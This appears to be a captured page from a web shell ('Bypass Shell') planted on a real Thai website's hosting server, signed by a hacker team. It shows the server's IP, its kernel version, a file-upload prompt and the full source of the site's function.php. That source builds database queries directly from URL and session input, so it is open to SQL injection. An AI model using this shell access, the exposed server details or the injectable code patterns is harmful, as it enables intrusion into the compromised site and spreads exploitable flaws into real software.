1337 3YP455 5H311
:
216.73.216.0
:
119.59.104.17 / www.hrdigest.co.th
:
Linux re1.hostinglotus.net 4.18.0-553.58.1.el8_10.x86_64 #1 SMP Wed Jun 25 06:37:46 EDT 2025 x86_64
:
/
home
/
hrdigest
/
public_html
/
inc
/
UP104D F1L3:
files >> /home/hrdigest/public_html/inc/function.php
<? // *****Copy right 2003 ,TNS NETWORK LTD.,PART.***** // session_start(); include ("connect.php"); // Keyword $keyword = mysql_fetch_array(mysql_query("Select * From `login` Where `id` = '1'")); $to_mail = $keyword["email"]; $to_popup = $keyword["domain"]; $to_pop_w = $keyword["company"]; $to_pop_h = $keyword["address"]; // Language $page = explode("/" , $_SERVER['PHP_SELF']); $page = $page[count($page) - 1]; if($_GET["lang"] == "thai"){ $version1 = $_SERVER['QUERY_STRING']; $version2 = $_SERVER['QUERY_STRING']; $version1 = "$page?" . preg_replace("/lang=thai/", "lang=thai", $version1); $version2 = "$page?" . preg_replace("/lang=thai/", "lang=eng", $version2); }elseif($_GET["lang"] == "eng"){ $version1 = $_SERVER['QUERY_STRING']; $version2 = $_SERVER['QUERY_STRING']; $version1 = "$page?" . preg_replace("/lang=eng/", "lang=thai", $version1); $version2 = "$page?" . preg_replace("/lang=eng/", "lang=eng", $version2); }else{ $version1 = "$page?$_SERVER[QUERY_STRING]&lang=thai"; $version2 = "$page?$_SERVER[QUERY_STRING]&lang=eng"; } if(empty($_SESSION["version"])){ $_SESSION["version"] = $keyword["lang"]; }else{ if($_GET["lang"] == "thai"){ $_SESSION["version"] = "thai"; }elseif($_GET["lang"] == "eng"){ $_SESSION["version"] = "eng"; } } if($_SESSION["version"] == "thai"){ $_l0 = "s4_37.jpg"; $_l1 = "ชื่อผู้ใช้"; $_l2 = "รหัสผ่าน"; $_l3 = "สมัครสมาชิก"; $_l4 = "ลืมรหัสผ่าน"; $_l5 = "เข้าสู่ระบบ"; $_l6 = "สมาชิก"; $_l7 = "ข้อมูลทั่วไป"; $_l8 = "กรุณากรอก"; $_l9 = "ชื่อผู้ใช้"; $_l10 = "รหัสผ่าน"; $_l11 = "ยืนยันรหัสผ่าน"; $_l12 = "เพศ"; $_l13 = "ชาย"; $_l14 = "หญิง"; $_l15 = "ชื่อ"; $_l16 = "นามสกุล"; $_l17 = "บริษัท"; $_l18 = "เบอร์โทรศัพท์"; $_l19 = "แฟกซ์"; $_l20 = "อีเมล์"; $_l21 = "ที่อยู่"; $_l22 = "ประเทศ"; $_l23 = "ความคิดเห็น"; $_l24 = "ส่งข้อมูล"; $_l25 = "รีเซ็ท"; $_l26 = "ยกเลิก"; $_l27 = "หมายเหตุ"; $_l28 = "ถ้าคุณเป็นสมาชิกกับเราแล้ว โปรดเข้าสู่หน้า"; $_l29 = "ระบบล็อกอิน"; $_l30 = "เกิดข้อผิดพลาด ไม่สามารถสมัครสมาชิกได้ในขณะนี้ กรุณาลองใหม่ภายหลัง"; $_l31 = "ชื่อผู้ใช้ หรือ อีเมล์ มีการสมัครไว้แล้ว กรุณาใช้ ชื่อผู้ใช้ หรือ อีเมล์ อื่นๆ ในการสมัคร"; $_l32 = "สวัสดี"; $_l33 = "ยินดีต้อนรับสู่"; $_l34 = "หน้าหลัก"; $_l35 = "ดูหรือแก้ไข ข้อมูลสมาชิก"; $_l36 = "ประวัติการสั่งซื้อ"; $_l37 = "ออกจากระบบ"; $_l38 = "อัพเดท"; $_l39 = "ข้อมูลสมาชิก"; $_l40 = "ข้อมูลรหัสผ่าน"; $_l41 = "ไม่มี ชื่อผู้ใช้ หรือ อีเมล์ นี้อยู่ในระบบ"; $_l42 = "ส่งรหัสผ่านเรียบร้อย"; $_l43 = "หากคุณลืมรหัสผ่าน กรุณากรอก ชื่อผู้ใช้ หรือ อีเมล์ แล้วทางเราจะส่งรหัสผ่านไปให้ทางอีเมล์"; $_l44 = "สมัครสมาชิกใหม่"; $_l45 = "ชื่อผู้ใช้นี้ สามารถใช้ได้ค่ะ"; $_l46 = "ชื่อผู้ใช้นี้ ไม่สามารถใช้ได้ค่ะ"; $_l47 = "คุณได้ยืนยันการเป็นสมาชิกเรียบร้อยแล้ว"; $txt_s0 = "บาท"; $txt_s1 = "ตะกร้าสินค้า"; $txt_s2 = "ลบ"; $txt_s3 = "ชื่อสินค้า"; $txt_s4 = "รูป"; $txt_s5 = "จำนวน"; $txt_s6 = "ราคา / ชิ้น"; $txt_s7 = "ราคารวม"; $txt_s8 = "icon_remove.gif"; $txt_s9 = "Update"; $txt_s10 = "ราคารวม"; $txt_s11 = "Standard ground orders usually shipwithin 24 to 48 hours. Please note that Saturday and Sunday are not considered business days."; $txt_s12 = "bt_con.gif"; $txt_s13 = "กลับไปเลือกซื้อสินค้าต่อ"; $txt_s14 = "bt_check.gif"; $txt_s15 = "ดำเนินการสั่งซื้อสินค้า"; $txt_s16 = "Comment : To update a quantity, click Number button.To remove an item, click \"Delete\" button."; $txt_s17 = "กรุณาเลือก การจัดส่งสินค้า ด้วยค่ะ"; $txt_s18 = "ยืนยันการชำระสินค้า"; $txt_s19 = "การจัดส่งสินค้า"; $txt_s20 = "กรุณาเลือก"; $txt_s21 = "ชื่อจริง"; $txt_s22 = "นามสกุล"; $txt_s23 = "เบอร์โทร"; $txt_s24 = "แฟกซ์"; $txt_s25 = "อีเมล์"; $txt_s26 = "ที่อยู่"; $txt_s27 = "ความเห็น"; $txt_s28 = "ราคารวมทั้งหมด"; $txt_s29 = "bt_back.gif"; $txt_s30 = "กลับไปหน้าที่แล้ว"; $txt_s31 = "bt_check.gif"; $txt_s32 = "สั่งซื้อสินค้าเสร็จสิ้น"; $txt_s33 = "สั่งซื้อสินค้า - ที่อยู่จัดส่งสินค้า"; $txt_s34 = "เลขที่ใบสั่งซื้อ"; $txt_s35 = "วันที่"; $txt_s36 = "ขอบคุณค่ะ"; $txt_s37 = "คลิกที่นี่ เพื่อชำระเงินด้วยบัตรเครดิต"; $txt_s38 = "print.gif"; $txt_s39 = "พิมพ์"; $txt_s40 = "สถานะการสั่งซื้อ"; $txt_s41 = "แนบหลักฐานการโอนเงิน"; $txt_s42 = "ดู"; $txt_s43 = "ย้อนกลับ"; $txt_s44 = "ยกเลิก ใบสั่งซื้อนี้"; $txt_s45 = "รหัสผ่านเก่า"; $txt_s46 = "รหัสผ่านใหม่"; $txt_s47 = "ยืนยันรหัสผ่าน"; $txt_are = "คุณอยู่ที่"; $txt_home = "หน้าแรก"; $txt_product = "สินค้า"; $txt_odname = "pd_name1"; $txt_menu_name = "name1"; $txt_topic = "topic"; $txt_topic2 = "detail"; $txt_descrip = "descrip"; $txt_proname = "cname"; $txt_proname2 = "cdescr"; $txt_namepro = "products_name_thai"; $txt_namepro2 = "products_descrip_thai"; $txt_option = "option_name"; $txt_value = "value_name"; $txt_type = "หมวดสินค้า"; $txt_name = "value_name"; $txt_1 ="ข้อมูล"; $txt_2 ="ชื่อ"; $txt_3 ="นามสกุล"; $txt_4 ="บริษัท"; $txt_5 ="ที่อยู่"; $txt_6 ="ประเทศ"; $txt_7 ="โทรศัพท์"; $txt_8 ="โทรสาร"; $txt_9 ="อีเมล์"; $txt_10 ="ฝ่ายติดต่อ"; $txt_11 ="ข้อความ"; $p_txt = "pic_th"; $p_txt2 ="pic2_th"; $p_txt3 = "pic3_th"; $add_name = "add_name"; // Board $txt_icon[] = "topic1.gif"; $txt_icon[] = "topic2.gif"; $txt_icon[] = "topic3.gif"; $txt_icon[] = "topic4.gif"; $txt_icon[] = "topic5.gif"; $txt_icon[] = "topic6.gif"; $txt_icon[] = "topic7.gif"; $txt_icon[] = "topic8.gif"; $txt_icon[] = "topic9.gif"; $txt_icon[] = "topic10.gif"; $txt_icon[] = "topic11.gif"; $txt_icon[] = "topic12.gif"; $txt_icon[] = "topic13.gif"; $txt_icon[] = "topic14.gif"; $txt_icon[] = "topic15.gif"; $txt_icon[] = "topic16.gif"; $txt_icon[] = "topic17.gif"; $txt_icon[] = "topic18.gif"; $txt_icon[] = "topic19.gif"; $txt_icon[] = "topic20.gif"; $txt_icon[] = "topic21.gif"; $txt_icon[] = "topic22.gif"; $txt_icon[] = "topic23.gif"; $txt_icon[] = "topic24.gif"; $txt_icon[] = "topic25.gif"; }elseif($_SESSION["version"] == "eng"){ $_l0 = "s4_38.jpg"; $_l1 = "username"; $_l2 = "password"; $_l3 = "register"; $_l4 = "forget password"; $_l5 = "Login"; $_l6 = "Member"; $_l7 = "General."; $_l8 = "Please complete"; $_l9 = "User name"; $_l10 = "Password"; $_l11 = "Re-enter Password"; $_l12 = "Gender"; $_l13 = "Male"; $_l14 = "Female"; $_l15 = "First name"; $_l16 = "Last name"; $_l17 = "Company"; $_l18 = "Telephone"; $_l19 = "Fax"; $_l20 = "Email"; $_l21 = "Address"; $_l22 = "Country"; $_l23 = "Comment"; $_l24 = "Submit"; $_l25 = "Reset"; $_l26 = "Cancel"; $_l27 = "NOTE"; $_l28 = "If you already have an account with us, please login at the"; $_l29 = "login page."; $_l30 = "Error can not register. Please try again later."; $_l31 = "This email address or username is already in the system. Please change the email address or username"; $_l32 = "Hello"; $_l33 = "Welcome to"; $_l34 = "Main Page"; $_l35 = "View or change my account information."; $_l36 = "History of all the shopping."; $_l37 = "Log Out"; $_l38 = "Update"; $_l39 = "My Account"; $_l40 = "My Password"; $_l41 = "No email or username in our system."; $_l42 = "Data successfully."; $_l43 = "If you've forgotten your password, enter your E-mail address and Username below and we'll send you an E-mail message containing your new password."; $_l44 = "News Register"; $_l45 = "This user name is available."; $_l46 = "This user name is not available."; $_l47 = "You have confirmed already a member."; $txt_s0 = "THB"; $txt_s1 = "Shopping Cart"; $txt_s2 = "Delete"; $txt_s3 = "Product name"; $txt_s4 = "Picture"; $txt_s5 = "Quantity"; $txt_s6 = "Price / Piece"; $txt_s7 = "Total"; $txt_s8 = "icon_remove.gif"; $txt_s9 = "Update"; $txt_s10 = "Total"; $txt_s11 = "Standard ground orders usually shipwithin 24 to 48 hours. Please note that Saturday and Sunday are not considered business days."; $txt_s12 = "bt_con.gif"; $txt_s13 = "Continue Shopping"; $txt_s14 = "bt_check.gif"; $txt_s15 = "Proceed to Checkout"; $txt_s16 = "Comment : To update a quantity, click Number button.To remove an item, click \"Delete\" button."; $txt_s17 = "Please select a Delivery By in.."; $txt_s18 = "Shopping Confirmation"; $txt_s19 = "Delivery By"; $txt_s20 = "Click here..."; $txt_s21 = "First name"; $txt_s22 = "Last name"; $txt_s23 = "Telephone"; $txt_s24 = "Fax"; $txt_s25 = "Email"; $txt_s26 = "Address"; $txt_s27 = "Comment"; $txt_s28 = "Net Price."; $txt_s29 = "bt_back.gif"; $txt_s30 = "Back to Page"; $txt_s31 = "bt_check.gif"; $txt_s32 = "Shopping Completed"; $txt_s33 = "Order - Delivery address"; $txt_s34 = "Reference number"; $txt_s35 = "Date"; $txt_s36 = "Thank you."; $txt_s37 = "Click Here. Pay with Creditcard"; $txt_s38 = "print.gif"; $txt_s39 = "Print"; $txt_s40 = "Order status."; $txt_s41 = "Attach proof of payment."; $txt_s42 = "View"; $txt_s43 = "Back"; $txt_s44 = "Cancel this order."; $txt_s45 = "Old Password"; $txt_s46 = "New Password"; $txt_s47 = "Confirm Password"; $txt_are = "You are here"; $txt_home = "Home"; $txt_product = "Products"; $txt_odname = "pd_name2"; $txt_menu_name = "name2"; $txt_topic = "top_eng"; $txt_topic2 = "des_eng"; $txt_descrip = "des_eng"; $txt_proname = "eng_cname"; $txt_proname2 = "eng_cdescr"; $txt_namepro = "products_name_eng"; $txt_namepro2 = "products_descrip_eng"; $txt_option = "option_name_eng"; $txt_value = "value_name_eng"; $txt_type = "Products"; $txt_name = "value_name_eng"; $txt_1 ="Information "; $txt_2 ="Name"; $txt_3 ="Last Name"; $txt_4 ="Company"; $txt_5 ="Address"; $txt_6 ="Country"; $txt_7 ="Telephone"; $txt_8 ="Fax"; $txt_9 ="E-Mail"; $txt_10 ="Enquiry"; $txt_11 ="Message/Comment"; $p_txt = "pic_en"; $p_txt2 ="pic2_en"; $p_txt3 = "pic3_en"; $add_name = "add_name2"; // Board $txt_icon[] = "topic1.gif"; $txt_icon[] = "topic2.gif"; $txt_icon[] = "topic3.gif"; $txt_icon[] = "topic4.gif"; $txt_icon[] = "topic5.gif"; $txt_icon[] = "topic6.gif"; $txt_icon[] = "topic7.gif"; $txt_icon[] = "topic8.gif"; $txt_icon[] = "topic9.gif"; $txt_icon[] = "topic10.gif"; $txt_icon[] = "topic11.gif"; $txt_icon[] = "topic12.gif"; $txt_icon[] = "topic13.gif"; $txt_icon[] = "topic14.gif"; $txt_icon[] = "topic15.gif"; $txt_icon[] = "topic16.gif"; $txt_icon[] = "topic17.gif"; $txt_icon[] = "topic18.gif"; $txt_icon[] = "topic19.gif"; $txt_icon[] = "topic20.gif"; $txt_icon[] = "topic21.gif"; $txt_icon[] = "topic22.gif"; $txt_icon[] = "topic23.gif"; $txt_icon[] = "topic24.gif"; $txt_icon[] = "topic25.gif"; } function Title(){ $keyword = mysql_fetch_array(mysql_query("Select * From `login` Where `id` = '1'")); $title_seo = mysql_fetch_array(mysql_query("Select * From `menu` Where `cid` = '$_GET[cid]'")); if (!empty($title_seo[title_s])) { echo "<title>$title_seo[title_s]</title>\n"; echo "<meta name='description' content='$title_seo[descrition_s]'>\n"; echo "<meta name='keywords' content='$title_seo[key_s]'>\n"; echo "<meta name='author' content='$keyword[domain]'>\n"; echo "<meta name='revisit-after' content='30 days'>\n"; echo "<meta name='robots' content='all'>\n"; echo "<meta name='rating' content='general'>\n"; }else{ echo "<title>$keyword[title]</title>\n"; echo "<meta name='description' content='$keyword[description]'>\n"; echo "<meta name='keywords' content='$keyword[keyword]'>\n"; echo "<meta name='author' content='$keyword[domain]'>\n"; echo "<meta name='revisit-after' content='30 days'>\n"; echo "<meta name='robots' content='all'>\n"; echo "<meta name='rating' content='general'>\n"; } } function Checksize($size){ if($size < 1024 * 1024) return number_format($size / 1024, 2, ".", ",") . " Kb"; elseif($size >= 1024 * 1024) return number_format(($size / 1024) / 1024, 2, ".", ",") . " Mb"; } // ตรวจสอบ page สำหรับ สมาชิกเท่านั้น function pagecheck($cid_check){ $mem_lock = mysql_fetch_array(mysql_query("Select * From `menu` Where `cid` = $cid_check && `mem_lock` = '1'")); if(!empty($mem_lock)){ if(empty($_SESSION["memid"])){ @header("Location: member/login.php"); exit; } } } if(!empty($_GET["cid"])){ pagecheck($_GET["cid"]); } function SendMail($to, $subject, $message, $path, $name, $type){ if(strtoupper(substr(PHP_OS, 0, 3) == "WIN")) $eol = "\r\n"; elseif(strtoupper(substr(PHP_OS, 0, 3) == "MAC")) $eol = "\r"; else $eol = "\n"; if(!empty($path)){ # File for Attachment $handle = fopen($path, "rb"); $contents = fread($handle, filesize($path)); $contents = chunk_split(base64_encode($contents)); $type = filetype($path); fclose($handle); } # Common Headers $boundary = md5(time()); $head .= "From: $to" . $eol; $head .= "Reply-To: $to" . $eol; $head .= "Return-Path: $to" . $eol; $head .= "MIME-Version: 1.0" . $eol; $head .= "Content-Type: multipart/mixed; boundary=\"" . $boundary . "\"" . $eol; # HTML Version $head .= "This is a multi-part message in MIME format." . $eol; $head .= "--" . $boundary . $eol; $head .= "Content-Type: text/html; charset=UTF8" . $eol; $head .= "Content-Transfer-Encoding: 7bit" . $eol; $head .= $message . $eol . $eol; if(!empty($path)){ # Attachment $head .= "--" . $boundary . $eol; $head .= "Content-Type: application/octet-stream; name=\"" . $name . "\"" . $eol; $head .= "Content-Type: " . $type . "; name=\"" . $name . "\"" . $eol; $head .= "Content-Transfer-Encoding: base64" . $eol; $head .= "Content-Disposition: attachment; filename=\"" . $name . "\"" . $eol . $eol; $head .= $contents . $eol . $eol; } $head .= "--" . $boundary . "--" . $eol . $eol; @mail($to, $subject, "", $head); } # bgcolor $bgcolor= $_GET[cid]; if($_GET[cid] == 2) { $bgcolor = "#9b9b9b"; }elseif($_GET[cid] == 3){ $bgcolor = "#9b9b9b"; }elseif($_GET[cid] == 4){ $bgcolor = "#9b9b9b"; }elseif($_GET[cid] == 5){ $bgcolor = "#9b9b9b"; }elseif($_GET[cid] == 6){ $bgcolor = "#9b9b9b"; }elseif($_GET[cid] == 7){ $bgcolor = "#9b9b9b"; }elseif($_GET[cid] == 8){ $bgcolor = "#9b9b9b"; }else{ $bgcolor = "#9b9b9b"; } # bg $bgpage= $_GET[cid]; if($_GET[cid] == 2) { $bgpage = "images/home/bg2.jpg"; }elseif($_GET[cid] == 3){ $bgpage = "images/home/bg3.jpg"; }elseif($_GET[cid] == 4){ $bgpage = "images/home/bg4.jpg"; }elseif($_GET[cid] == 5){ $bgpage = "images/home/bg5.jpg"; }elseif($_GET[cid] == 6){ $bgpage = "images/home/bg6.jpg"; }elseif($_GET[cid] == 7){ $bgpage = "images/home/bg7.jpg"; }elseif($_GET[cid] == 8){ $bgpage = "images/home/bg8.jpg"; }else{ $bgpage = "images/home/bg2.jpg"; } //=========== เปลี่ยนรูปพื้นหลัง if(!empty($_GET[cid])) { $bg_n = " Where `cid` = '$_GET[cid]' "; }else{ $bg_n = " Where `cid` = '1' "; } $bg_news = mysql_fetch_array(mysql_query("Select * From `menu` $bg_n ")); if (!empty($bg_news[image4])) { $bgn = $bg_news[image4]; }else{ $bg_news = mysql_fetch_array(mysql_query("Select * From `menu` Where `cid`='1' ")); $bgn = $bg_news[image4]; } if(!empty($_GET[cid])) { $menutop_n = " Where `cid` = '$_GET[cid]' "; }else{ $menutop_n = " Where `cid` = '1' "; } $menutop_news = mysql_fetch_array(mysql_query("Select * From `menu` $menutop_n ")); if (!empty($menutop_news[image3])) { $bgn = $menutop_news[image3]; }else{ $menutop_news = mysql_fetch_array(mysql_query("Select * From `menu` Where `cid`='1' ")); $bgn = $menutop_news[image3]; } if(!empty($_GET[cid])) { $producttop_n = " Where `cid` = '$_GET[cid]' "; }else{ $producttop_n = " Where `cid` = '0' "; } $producttop_news = @mysql_fetch_array(mysql_query("Select * From `category` $producttop_n ")); if (!empty($producttop_news[pic1])) { $bgn = $producttop_news[pic1]; }else{ $producttop_news = @mysql_fetch_array(mysql_query("Select * From `category` Where `cid`='1' ")); $bgn = $producttop_news[pic1]; } function add_link ($read_more,$open_window,$open_popup,$show_m,$cno,$cno2) { if ($read_more == 1){ if ($open_window == 1) { $ow = "target='_blank'"; }else{ $ow=""; } if ($open_popup == 1) { return($rm="<a href='page_bx.php?cid=$_GET[cid]&cname=$_GET[cname]&cno=$cno&cno2=$_GET[cno]&show=$_GET[show]' $ow >$show_m</a>"); }else{ if( isset($cno2) && $cno2 <> 0 ) { return($rm="<a href='page_b.php?cid=$_GET[cid]&cname=$_GET[cname]&cno=$cno2' $ow >$show_m</a>"); }else{ return($rm="<a href='page_bx.php?cid=$_GET[cid]&cname=$_GET[cname]&cno=$cno&cno2=$_GET[cno]&show=$_GET[show]' $ow >$show_m</a>"); } } }else{ return($rm=$show_m); } } if(!empty($_SESSION["memid"])){ $ui = explode(":-:", $_SESSION["memid"]); if(!$mem = mysql_fetch_array(mysql_query("Select * From `form_membernew2` Where `Email` = '$ui[0]' && `IdCard` = '$ui[1]'"))) unset($_SESSION["memid"]); } function checkid (){ if(empty($_SESSION["memid"])){ @header("Location: mem_login.php"); exit; }else{ $ui = explode(":-:", $_SESSION["memid"]); if(!$mem = mysql_fetch_array(mysql_query("Select * From `form_membernew2` Where `Email` = '$ui[0]' && `IdCard` = '$ui[1]'"))){ @header("Location: mem_login.php"); exit; } } } ?>
1337r0j4n | 13379H0575 53CURI7Y 734M